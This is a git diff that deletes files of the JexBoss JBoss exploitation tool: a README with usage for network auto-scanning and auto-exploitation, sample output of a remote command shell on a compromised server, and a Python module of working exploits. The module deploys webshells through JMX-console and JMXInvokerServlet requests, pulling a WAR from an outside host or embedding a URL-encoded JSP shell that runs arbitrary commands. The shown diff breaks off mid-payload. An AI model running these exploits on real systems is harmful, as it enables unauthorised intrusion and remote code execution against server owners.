update
ym2011
parent
4b20df8cfa
commit
a60bb668ca
|
|
@ -1 +0,0 @@
|
|||
readme
|
||||
|
|
@ -1,60 +0,0 @@
|
|||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
env/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# PyCharm project files
|
||||
.idea/
|
||||
|
||||
# I/O files
|
||||
*.csv
|
||||
|
|
@ -1,250 +0,0 @@
|
|||
JexBoss - Jboss verify and EXploitation Tool
|
||||
=======
|
||||
|
||||
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server.
|
||||
|
||||
Requirements
|
||||
----
|
||||
* Python >= 2.7.x
|
||||
* [urllib3](https://pypi.python.org/pypi/urllib3)
|
||||
* [ipaddress](https://pypi.python.org/pypi/ipaddress)
|
||||
|
||||
Installation
|
||||
----
|
||||
To install the latest version of JexBoss, please use the following commands:
|
||||
|
||||
git clone https://github.com/joaomatosf/jexboss.git
|
||||
cd jexboss
|
||||
pip install -r requires.txt
|
||||
python jexboss.py -h
|
||||
|
||||
OR:
|
||||
|
||||
Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
|
||||
unzip master.zip
|
||||
cd jexboss-master
|
||||
pip install -r requires.txt
|
||||
python jexboss.py -h
|
||||
|
||||
|
||||
If you are using CentOS with Python 2.6, please install Python2.7.
|
||||
Installation example of the Python 2.7 on CentOS using Collections Software scl:
|
||||
|
||||
yum -y install centos-release-scl
|
||||
yum -y install python27
|
||||
scl enable python27 bash
|
||||
|
||||
|
||||
Features
|
||||
----
|
||||
The tool and exploits were developed and tested for versions 3, 4, 5 and 6 of the JBoss Application Server.
|
||||
|
||||
The exploitation vectors are:
|
||||
|
||||
* /admin-console [ NEW ]
|
||||
- tested and working in JBoss versions 5 and 6
|
||||
* /jmx-console
|
||||
- tested and working in JBoss versions 4, 5 and 6
|
||||
* /web-console/Invoker
|
||||
- tested and working in JBoss versions 4
|
||||
* /invoker/JMXInvokerServlet
|
||||
- tested and working in JBoss versions 4 and 5
|
||||
|
||||
Screenshots
|
||||
----
|
||||
|
||||
* Standalone mode:
|
||||
```
|
||||
$ python jexboss.py -host 192.168.0.114:8080
|
||||
```
|
||||
|
||||
|
||||
* Usage modes:
|
||||
```
|
||||
$ python jexboss.py -h
|
||||
```
|
||||
|
||||
|
||||
* Network scan mode:
|
||||
```
|
||||
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt
|
||||
```
|
||||
|
||||
|
||||
* Network scan with auto-exploit mode:
|
||||
```
|
||||
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt
|
||||
```
|
||||
|
||||
|
||||
|
||||
* Results and recommendations:
|
||||
|
||||
|
||||
|
||||
Usage example
|
||||
----
|
||||
* Check the file "demo.png"
|
||||
|
||||
* Auto scan mode:
|
||||
```
|
||||
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
|
||||
```
|
||||
|
||||
* File scan mode:
|
||||
```
|
||||
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
|
||||
```
|
||||
|
||||
* More Options:
|
||||
|
||||
```
|
||||
$ python jexboss.py -h
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--version show program's version number and exit
|
||||
--auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE
|
||||
PERMISSION!!!)
|
||||
--disable-check-updates, -D
|
||||
Disable the check for updates performed by JSP
|
||||
Webshell at:
|
||||
http://webshell.jexboss.net/jsp_version.txt
|
||||
-mode {auto-scan,file-scan,standalone}
|
||||
Operation mode
|
||||
|
||||
Standalone mode:
|
||||
-host HOST Host address to be checked (eg.
|
||||
http://192.168.0.10:8080)
|
||||
|
||||
Auto scan mode:
|
||||
-network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8)
|
||||
-ports PORTS List of ports separated by commas to be checked for
|
||||
each host (eg. 8080,8443,8888,80,443)
|
||||
-results FILENAME File name to store the auto scan results
|
||||
|
||||
File scan mode:
|
||||
-file FILENAME_HOSTS Filename with host list to be scanned (one host per
|
||||
line)
|
||||
-out FILENAME_RESULTS
|
||||
File name to store the file scan results
|
||||
|
||||
```
|
||||
|
||||
* Standalone mode:
|
||||
|
||||
```
|
||||
* Via git:
|
||||
|
||||
$ git clone https://github.com/joaomatosf/jexboss.git
|
||||
$ cd jexboss
|
||||
$ python jexboss.py -host https://site-teste.com
|
||||
|
||||
* Or via download:
|
||||
|
||||
$ wget https://github.com/joaomatosf/jexboss/archive/master.zip
|
||||
$ unzip master.zip
|
||||
$ cd jexboss-master
|
||||
$ python jexboss.py -host https://site-teste.com
|
||||
|
||||
|
||||
* --- JexBoss: Jboss verify and EXploitation Tool --- *
|
||||
| |
|
||||
| @author: João Filho Matos Figueiredo |
|
||||
| @contact: joaomatosf@gmail.com |
|
||||
| |
|
||||
| @update: https://github.com/joaomatosf/jexboss |
|
||||
#______________________________________________________#
|
||||
|
||||
|
||||
** Checking Host: https://site-teste.com **
|
||||
|
||||
* Checking admin-console: [ EXPOSED ]
|
||||
* Checking web-console: [ OK ]
|
||||
* Checking jmx-console: [ VULNERABLE ]
|
||||
* Checking JMXInvokerServlet: [ VULNERABLE ]
|
||||
|
||||
|
||||
* Do you want to try to run an automated exploitation via "jmx-console" ?
|
||||
This operation will provide a simple command shell to execute commands on the server..
|
||||
Continue only if you have permission!
|
||||
yes/NO ? yes
|
||||
|
||||
* Sending exploit code to https://site-teste.com. Wait...
|
||||
|
||||
|
||||
* Info: This exploit will force the server to deploy the webshell
|
||||
available on: http://www.joaomatosf.com/rnp/jbossass.war
|
||||
* Successfully deployed code! Starting command shell, wait...
|
||||
|
||||
* - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - *
|
||||
|
||||
* https://site-teste.com:
|
||||
|
||||
Linux seglinux 3.18.4-1.el6.elrepo.x86_64 #1 SMP Wed Jan 28 13:28:52 EST 2015 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
CentOS release 6.5 (Final)
|
||||
|
||||
uid=509(jboss) gid=509(jboss) grupos=509(jboss) context=system_u:system_r:initrc_t:s0
|
||||
|
||||
[Type commands or "exit" to finish]
|
||||
Shell> pwd
|
||||
/usr/jboss-6.1.0.Final/bin
|
||||
|
||||
[Type commands or "exit" to finish]
|
||||
Shell> hostname
|
||||
fwgw
|
||||
|
||||
[Type commands or "exit" to finish]
|
||||
Shell> ls -all /home
|
||||
total 16
|
||||
drwxr-xr-x. 4 root root 4096 Jan 26 2015 .
|
||||
dr-xr-xr-x. 23 root root 4096 Mar 31 04:51 ..
|
||||
-rwxrwxrwx. 1 root root 0 Jan 26 2015 file1
|
||||
-rw-r-----. 1 root root 0 Jan 26 2015 file2
|
||||
-rw-rw-r--. 1 root root 0 Jan 26 2015 file3
|
||||
drwx------. 2 joao joao 4096 Jan 26 2015 joao
|
||||
drwx------. 2 maria maria 4096 Jan 26 2015 maria
|
||||
|
||||
[Type commands or "exit" to finish]
|
||||
Shell>exit
|
||||
|
||||
Results: potentially compromised server!
|
||||
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*
|
||||
Recommendations:
|
||||
- Remove web consoles and services that are not used, eg:
|
||||
$ rm web-console.war
|
||||
$ rm http-invoker.sar
|
||||
$ rm jmx-console.war
|
||||
$ rm jmx-invoker-adaptor-server.sar
|
||||
$ rm admin-console.war
|
||||
- Use a reverse proxy (eg. nginx, apache, F5)
|
||||
- Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)
|
||||
- Search vestiges of exploitation within the directories "deploy" and "management".
|
||||
|
||||
References:
|
||||
[1] - https://developer.jboss.org/wiki/SecureTheJmxConsole
|
||||
[2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf
|
||||
|
||||
- If possible, discard this server!
|
||||
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*
|
||||
|
||||
* Info: review, suggestions, updates, etc:
|
||||
https://github.com/joaomatosf/jexboss
|
||||
|
||||
* DONATE: Please consider making a donation to help improve this tool,
|
||||
including research to new versions of JBoss and zero days.
|
||||
|
||||
* Paypal: joaomatosf@gmail.com
|
||||
* Bitcoin Address: 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C
|
||||
* URI: bitcoin:14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C?label=jexboss
|
||||
```
|
||||
|
||||
|
||||
|
||||
Questions, problems, suggestions and etc:
|
||||
----
|
||||
|
||||
* joaomatosf@gmail.com
|
||||
|
||||
|
||||
|
|
@ -1,555 +0,0 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
Module to group exploits of the JexBoss
|
||||
https://github.com/joaomatosf/jexboss
|
||||
|
||||
Copyright 2013 João Filho Matos Figueiredo
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
"""
|
||||
|
||||
from jexboss import *
|
||||
from random import randint
|
||||
import urllib
|
||||
from sys import version_info
|
||||
if version_info[0] >= 3:
|
||||
from urllib.parse import quote
|
||||
|
||||
|
||||
def exploit_jmx_console_main_deploy(url):
|
||||
"""
|
||||
Exploit MainDeployer to deploy a JSP shell. Does not work in JBoss 5 (bug in JBoss 5).
|
||||
/jmx-console/HtmlAdaptor
|
||||
:param url: The url to exploit
|
||||
:return: The HTTP status code
|
||||
"""
|
||||
if not 'http' in url[:4]:
|
||||
url = "http://"+url
|
||||
|
||||
jsp = "http://www.joaomatosf.com/rnp/jexws3.war"
|
||||
payload = ("/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service="
|
||||
"MainDeployer&methodIndex=19&arg0="+jsp)
|
||||
print(GREEN + "\n * Info: This exploit will force the server to deploy the webshell " +
|
||||
"\n available at: " + jsp + ENDC)
|
||||
|
||||
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
pool.request('HEAD', url + payload, redirect=False, headers=headers)
|
||||
return get_successfully(url, "/jexws3/jexws3.jsp")
|
||||
|
||||
|
||||
def exploit_jmx_console_file_repository(url):
|
||||
"""
|
||||
Exploit DeploymentFileRepository to deploy a JSP shell
|
||||
Tested and working in JBoss 4, 5. Does not work in JBoss 6.
|
||||
/jmx-console/HtmlAdaptor
|
||||
:param url: The URL to exploit
|
||||
:return: The HTTP status code
|
||||
"""
|
||||
jsp = ("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61%2E%75%74%69%6C%2E%2A"
|
||||
"%2C%6A%61%76%61%2E%69%6F%2E%2A%2C%20%6A%61%76%61%2E%6E%65%74%2E%2A%22%20%70%61%67%65%45"
|
||||
"%6E%63%6F%64%69%6E%67%3D%22%55%54%46%2D%38%22%25%3E%20%3C%70%72%65%3E%20%3C%25%20%69%6E"
|
||||
"%74%20%76%65%72%73%69%6F%6E%20%3D%20%33%3B%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"
|
||||
"%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20%6E%75%6C%6C%29%20%7B%20"
|
||||
"%62%6F%6F%6C%65%61%6E%20%63%68%65%63%6B%55%70%64%61%74%65%73%3B%20%48%74%74%70%55%52%4C"
|
||||
"%43%6F%6E%6E%65%63%74%69%6F%6E%20%63%6F%6E%6E%43%68%65%63%6B%55%70%64%61%74%65%73%20%3D"
|
||||
"%20%6E%75%6C%6C%3B%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%62%72%20%3D%20%6E%75"
|
||||
"%6C%6C%3B%20%72%65%73%70%6F%6E%73%65%2E%73%65%74%43%6F%6E%74%65%6E%74%54%79%70%65%28%22"
|
||||
"%74%65%78%74%2F%68%74%6D%6C%22%29%3B%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65%74%48"
|
||||
"%65%61%64%65%72%28%22%63%68%65%63%6B%2D%75%70%64%61%74%65%73%22%29%20%21%3D%20%6E%75%6C"
|
||||
"%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65%61%64%65%72%28%22%63%68%65%63%6B"
|
||||
"%2D%75%70%64%61%74%65%73%22%29%2E%65%71%75%61%6C%73%28%22%66%61%6C%73%65%22%29%29%7B%20"
|
||||
"%63%68%65%63%6B%55%70%64%61%74%65%73%20%3D%20%66%61%6C%73%65%3B%20%7D%65%6C%73%65%20%7B"
|
||||
"%20%63%68%65%63%6B%55%70%64%61%74%65%73%20%3D%20%74%72%75%65%3B%20%63%6F%6E%6E%43%68%65"
|
||||
"%63%6B%55%70%64%61%74%65%73%20%3D%20%28%48%74%74%70%55%52%4C%43%6F%6E%6E%65%63%74%69%6F"
|
||||
"%6E%29%20%6E%65%77%20%55%52%4C%28%22%68%74%74%70%3A%2F%2F%77%65%62%73%68%65%6C%6C%2E%6A"
|
||||
"%65%78%62%6F%73%73%2E%6E%65%74%2F%6A%73%70%5F%76%65%72%73%69%6F%6E%2E%74%78%74%22%29%2E"
|
||||
"%6F%70%65%6E%43%6F%6E%6E%65%63%74%69%6F%6E%28%29%3B%20%7D%20%53%74%72%69%6E%67%20%73%68"
|
||||
"%20%3D%20%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22"
|
||||
"%29%3B%20%53%74%72%69%6E%67%20%6C%61%73%74%48%6F%75%72%43%68%65%63%6B%20%3D%20%28%6E%65"
|
||||
"%77%20%44%61%74%65%28%29%2E%74%6F%53%74%72%69%6E%67%28%29%2E%73%70%6C%69%74%28%22%3A%22"
|
||||
"%29%5B%30%5D%2B%22%68%2E%6C%6F%67%22%29%2E%72%65%70%6C%61%63%65%41%6C%6C%28%22%20%22%2C"
|
||||
"%20%22%2D%22%29%3B%20%74%72%79%7B%20%69%66%20%28%63%68%65%63%6B%55%70%64%61%74%65%73%20"
|
||||
"%3D%3D%20%74%72%75%65%29%7B%20%63%6F%6E%6E%43%68%65%63%6B%55%70%64%61%74%65%73%2E%73%65"
|
||||
"%74%52%65%71%75%65%73%74%50%72%6F%70%65%72%74%79%28%22%55%73%65%72%2D%41%67%65%6E%74%22"
|
||||
"%2C%20%72%65%71%75%65%73%74%2E%67%65%74%48%65%61%64%65%72%28%22%48%6F%73%74%22%29%2B%22"
|
||||
"%3C%2D%22%2B%72%65%71%75%65%73%74%2E%67%65%74%52%65%6D%6F%74%65%41%64%64%72%28%29%29%3B"
|
||||
"%20%69%66%20%28%21%6E%65%77%20%46%69%6C%65%28%22%63%68%65%63%6B%5F%22%2B%6C%61%73%74%48"
|
||||
"%6F%75%72%43%68%65%63%6B%29%2E%65%78%69%73%74%73%28%29%29%7B%20%50%72%69%6E%74%57%72%69"
|
||||
"%74%65%72%20%77%72%69%74%65%72%20%3D%20%6E%65%77%20%50%72%69%6E%74%57%72%69%74%65%72%28"
|
||||
"%22%63%68%65%63%6B%5F%22%2B%6C%61%73%74%48%6F%75%72%43%68%65%63%6B%29%3B%20%77%72%69%74"
|
||||
"%65%72%2E%63%6C%6F%73%65%28%29%3B%20%62%72%20%3D%20%6E%65%77%20%42%75%66%66%65%72%65%64"
|
||||
"%52%65%61%64%65%72%28%6E%65%77%20%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61%64%65%72%28"
|
||||
"%63%6F%6E%6E%43%68%65%63%6B%55%70%64%61%74%65%73%2E%67%65%74%49%6E%70%75%74%53%74%72%65"
|
||||
"%61%6D%28%29%29%29%3B%20%69%6E%74%20%6C%61%73%74%56%65%72%73%69%6F%6E%20%3D%20%49%6E%74"
|
||||
"%65%67%65%72%2E%70%61%72%73%65%49%6E%74%28%62%72%2E%72%65%61%64%4C%69%6E%65%28%29%2E%73"
|
||||
"%70%6C%69%74%28%22%20%22%29%5B%31%5D%29%3B%20%69%66%20%28%6C%61%73%74%56%65%72%73%69%6F"
|
||||
"%6E%20%3E%20%76%65%72%73%69%6F%6E%29%7B%20%6F%75%74%2E%70%72%69%6E%74%28%22%50%6C%65%61"
|
||||
"%73%65%20%6E%6F%74%65%3A%20%74%68%65%72%65%20%69%73%20%61%6E%20%75%70%64%61%74%65%20%74"
|
||||
"%6F%20%4A%65%78%42%6F%73%73%20%4A%53%50%20%57%65%62%73%68%65%6C%6C%2E%20%57%65%20%72%65"
|
||||
"%63%6F%6D%6D%65%6E%64%20%74%68%61%74%20%79%6F%75%20%72%65%72%75%6E%20%74%68%65%20%4A%65"
|
||||
"%78%42%6F%73%73%20%74%6F%20%72%65%64%65%70%6C%6F%79%20%74%68%65%20%6E%65%77%20%76%65%72"
|
||||
"%73%69%6F%6E%20%6F%66%20%77%65%62%73%68%65%6C%6C%20%69%6E%20%4A%42%6F%73%73%20%73%65%72"
|
||||
"%76%65%72%20%74%65%73%74%65%64%2E%22%29%3B%20%7D%20%7D%20%65%6C%73%65%20%69%66%20%28%73"
|
||||
"%68%2E%63%6F%6E%74%61%69%6E%73%28%22%69%64%22%29%20%7C%7C%20%73%68%2E%63%6F%6E%74%61%69"
|
||||
"%6E%73%28%22%69%70%63%6F%6E%66%69%67%22%29%29%20%7B%20%63%6F%6E%6E%43%68%65%63%6B%55%70"
|
||||
"%64%61%74%65%73%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%3B%20%7D%20%7D%20%7D"
|
||||
"%20%63%61%74%63%68%28%45%78%63%65%70%74%69%6F%6E%20%65%29%7B%6F%75%74%2E%70%72%69%6E%74"
|
||||
"%6C%6E%28%22%45%72%72%6F%72%20%63%68%65%63%6B%69%6E%67%20%66%6F%72%20%75%70%64%61%74%65"
|
||||
"%73%22%29%3B%7D%20%74%72%79%20%7B%20%50%72%6F%63%65%73%73%20%70%3B%20%69%66%20%28%53%79"
|
||||
"%73%74%65%6D%2E%67%65%74%50%72%6F%70%65%72%74%79%28%22%6F%73%2E%6E%61%6D%65%22%29%2E%74"
|
||||
"%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%20%3E"
|
||||
"%20%30%20%7C%7C%20%21%53%79%73%74%65%6D%2E%67%65%74%50%72%6F%70%65%72%74%79%28%22%66%69"
|
||||
"%6C%65%2E%73%65%70%61%72%61%74%6F%72%22%29%2E%65%71%75%61%6C%73%28%22%2F%22%29%29%7B%20"
|
||||
"%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63"
|
||||
"%28%22%63%6D%64%2E%65%78%65%20%2F%43%20%22%2B%73%68%29%3B%20%7D%20%65%6C%73%65%20%7B%20"
|
||||
"%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63"
|
||||
"%28%73%68%29%3B%20%7D%20%62%72%20%3D%20%6E%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64"
|
||||
"%65%72%28%6E%65%77%20%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61%64%65%72%28%70%2E%67%65"
|
||||
"%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%29%29%3B%20%53%74%72%69%6E%67%20%64%69%73%72"
|
||||
"%20%3D%20%62%72%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%77%68%69%6C%65%20%28%64%69%73%72"
|
||||
"%20%21%3D%20%6E%75%6C%6C%29%20%7B%20%6F%75%74%2E%70%72%69%6E%74%6C%6E%28%64%69%73%72%29"
|
||||
"%3B%20%64%69%73%72%20%3D%20%62%72%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%7D%20%7D%63%61"
|
||||
"%74%63%68%28%45%78%63%65%70%74%69%6F%6E%20%65%29%20%7B%20%6F%75%74%2E%70%72%69%6E%74%6C"
|
||||
"%6E%28%22%55%6E%6B%6E%6F%77%6E%20%63%6F%6D%6D%61%6E%64%2E%22%29%3B%20%7D%20%7D%20%25%3E")
|
||||
|
||||
payload = ("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="
|
||||
"DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="
|
||||
"jexws3.war&argType=java.lang.String&arg1=jexws3&argType=java.lang.St"
|
||||
"ring&arg2=.jsp&argType=java.lang.String&arg3=" + jsp + "&argType=boolean&arg4=True")
|
||||
|
||||
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
pool.request('HEAD', url + payload, redirect=False, headers=headers)
|
||||
return get_successfully(url, "/jexws3/jexws3.jsp")
|
||||
|
||||
|
||||
def exploit_jmx_invoker_file_repository(url, version):
|
||||
"""
|
||||
Exploits the JMX invoker
|
||||
tested and works in JBoss 4, 5
|
||||
MainDeploy, shell in data
|
||||
# /invoker/JMXInvokerServlet
|
||||
:param url: The URL to exploit
|
||||
:return:
|
||||
"""
|
||||
|
||||
payload = ("\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e"
|
||||
"\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c"
|
||||
"\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xf6\x06\x95\x27\x41\x3e\xa4"
|
||||
"\xbe\x0c\x00\x00\x78\x70\x70\x77\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72"
|
||||
"\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72"
|
||||
"\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65"
|
||||
"\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65"
|
||||
"\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70")
|
||||
payload += ("\xe3\x2c\x60\xe6") if version == 0 else ("\x26\x95\xbe\x0a")
|
||||
payload += (
|
||||
"\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61"
|
||||
"\x74\x69\x6f\x6e\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75"
|
||||
"\x65\xea\xcc\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x04\x00"
|
||||
"\x00\x00\x08\xb4\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e"
|
||||
"\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29"
|
||||
"\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00\x1b\x6a\x61\x76\x61\x78"
|
||||
"\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e"
|
||||
"\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c"
|
||||
"\x6a\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69\x63\x65"
|
||||
"\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c\x65\x52\x65\x70\x6f"
|
||||
"\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73\x74\x6f\x72\x65\x75\x71\x00\x7e"
|
||||
"\x00\x00\x00\x00\x00\x05\x74\x00\x0b\x6a\x65\x78\x69\x6e\x76\x33\x2e\x77\x61"
|
||||
"\x72\x74\x00\x07\x6a\x65\x78\x69\x6e\x76\x33\x74\x00\x04\x2e\x6a\x73\x70\x74"
|
||||
"\x07\x79\x3c\x25\x40\x20\x70\x61\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22"
|
||||
"\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f"
|
||||
"\x2e\x2a\x2c\x20\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x2a\x22\x20\x70\x61\x67"
|
||||
"\x65\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\x2d\x38\x22\x25\x3e"
|
||||
"\x20\x3c\x70\x72\x65\x3e\x20\x3c\x25\x20\x69\x6e\x74\x20\x76\x65\x72\x73\x69"
|
||||
"\x6f\x6e\x20\x3d\x20\x33\x3b\x20\x69\x66\x20\x28\x72\x65\x71\x75\x65\x73\x74"
|
||||
"\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22"
|
||||
"\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x29\x20\x7b\x20\x62\x6f\x6f\x6c\x65\x61"
|
||||
"\x6e\x20\x63\x68\x65\x63\x6b\x55\x70\x64\x61\x74\x65\x73\x3b\x20\x48\x74\x74"
|
||||
"\x70\x55\x52\x4c\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x20\x63\x6f\x6e\x6e"
|
||||
"\x43\x68\x65\x63\x6b\x55\x70\x64\x61\x74\x65\x73\x20\x3d\x20\x6e\x75\x6c\x6c"
|
||||
"\x3b\x20\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65\x72\x20\x62\x72"
|
||||
"\x20\x3d\x20\x6e\x75\x6c\x6c\x3b\x20\x72\x65\x73\x70\x6f\x6e\x73\x65\x2e\x73"
|
||||
"\x65\x74\x43\x6f\x6e\x74\x65\x6e\x74\x54\x79\x70\x65\x28\x22\x74\x65\x78\x74"
|
||||
"\x2f\x68\x74\x6d\x6c\x22\x29\x3b\x20\x69\x66\x20\x28\x72\x65\x71\x75\x65\x73"
|
||||
"\x74\x2e\x67\x65\x74\x48\x65\x61\x64\x65\x72\x28\x22\x63\x68\x65\x63\x6b\x2d"
|
||||
"\x75\x70\x64\x61\x74\x65\x73\x22\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x20\x26"
|
||||
"\x26\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x48\x65\x61\x64\x65\x72"
|
||||
"\x28\x22\x63\x68\x65\x63\x6b\x2d\x75\x70\x64\x61\x74\x65\x73\x22\x29\x2e\x65"
|
||||
"\x71\x75\x61\x6c\x73\x28\x22\x66\x61\x6c\x73\x65\x22\x29\x29\x7b\x20\x63\x68"
|
||||
"\x65\x63\x6b\x55\x70\x64\x61\x74\x65\x73\x20\x3d\x20\x66\x61\x6c\x73\x65\x3b"
|
||||
"\x20\x7d\x65\x6c\x73\x65\x20\x7b\x20\x63\x68\x65\x63\x6b\x55\x70\x64\x61\x74"
|
||||
"\x65\x73\x20\x3d\x20\x74\x72\x75\x65\x3b\x20\x63\x6f\x6e\x6e\x43\x68\x65\x63"
|
||||
"\x6b\x55\x70\x64\x61\x74\x65\x73\x20\x3d\x20\x28\x48\x74\x74\x70\x55\x52\x4c"
|
||||
"\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x29\x20\x6e\x65\x77\x20\x55\x52\x4c"
|
||||
"\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x73\x68\x65\x6c\x6c\x2e\x6a"
|
||||
"\x65\x78\x62\x6f\x73\x73\x2e\x6e\x65\x74\x2f\x6a\x73\x70\x5f\x76\x65\x72\x73"
|
||||
"\x69\x6f\x6e\x2e\x74\x78\x74\x22\x29\x2e\x6f\x70\x65\x6e\x43\x6f\x6e\x6e\x65"
|
||||
"\x63\x74\x69\x6f\x6e\x28\x29\x3b\x20\x7d\x20\x53\x74\x72\x69\x6e\x67\x20\x73"
|
||||
